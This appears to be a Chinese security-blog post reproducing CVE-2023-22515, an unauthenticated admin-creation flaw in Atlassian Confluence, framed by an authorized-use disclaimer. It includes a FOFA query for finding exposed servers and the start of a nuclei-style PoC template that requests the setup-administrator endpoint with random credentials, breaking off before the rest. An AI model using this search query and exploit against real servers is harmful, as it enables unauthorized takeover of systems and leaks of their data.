漏洞复现 Confluence 未授权提权访问漏洞

0x01 阅读须知融云安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！0x02 漏洞描述Confluence 中的 CVE-2023-22515 漏洞存在未授权添加管理员用户。攻击者可构造恶意请求添加管理员，从而登录系统，造成敏感信息泄漏等危害。0x03 漏洞复现fofa:app="ATLASSIAN-Confluence"1.使用poc进行账号密码添加variables: username: "{{rand_base(10)}}" password: "{{rand_base(10)}}"  email: "{{username}}@{{password}}"http: - raw: - | GET /setup/setupadministrator-start.action HTTP/1.1 Host: {{Hostname}} - | GET /server ………………………………